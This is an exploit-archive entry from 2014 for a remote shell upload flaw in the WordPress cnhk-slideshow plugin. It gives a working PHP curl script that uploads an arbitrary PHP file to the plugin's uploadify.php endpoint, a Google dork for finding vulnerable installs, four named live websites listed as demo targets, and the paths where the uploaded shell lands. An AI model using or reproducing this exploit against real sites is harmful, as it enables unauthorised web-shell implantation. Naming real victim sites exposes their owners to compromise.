WordPress cnhk-slideshow plugin suffers from a remote shell upload vulnerability.
559f24d812b08368e3f3bc3029d3d487db79d8b401ebfa988c6541b0381bdef4
###############################################################
# Exploit Title: Wordpress cnhk-slideshow plugin Shell Upload
# Author: Ashiyane Digital Security Team
# Date: 05/18/2014
# Vendor Homepage: http://cnhk-systems.webege.com
# Software Link : http://downloads.wordpress.org/plugin/cnhk-slideshow.2.1.1.zip
# Google dork: inurl:/wp-content/plugins/cnhk-slideshow/
# Tested on: Windows/Linux
###############################################################
1) Exploit :
= = = = = =
<?php
$uploadfile="file.php";
$ch = curl_init("
http://localhost/wp-content/plugins/cnhk-slideshow/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('slideshow'=>"@$uploadfile"));
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
print "$result";
?>
2) Exploit demo :
= = = = = = = = =
http://ceochallengeaustralia.org/wp-content/plugins/cnhk-slideshow/uploadify/uploadify.php
http://www.nhbcc.org/wp-content/plugins/cnhk-slideshow/uploadify/uploadify.php
http://casaoccio.org/wp-content/plugins/cnhk-slideshow/uploadify/uploadify.php
http://armorroofingspringfield.com/wp-content/plugins/cnhk-slideshow/uploadify/uploadify.php
# #### #### #### #### #### #### #### #### #
http://[Target]/wp-content/uploads/[file].php
OR
http://[Target]/wp-content/plugins/cnhk-slideshow/[file].php
# #### #### #### #### #### #### #### #### #
# BY T3rm!nat0r5
# E-mail : poya.terminator@gmail.com
# #### #### #### #### #### #### #### #### #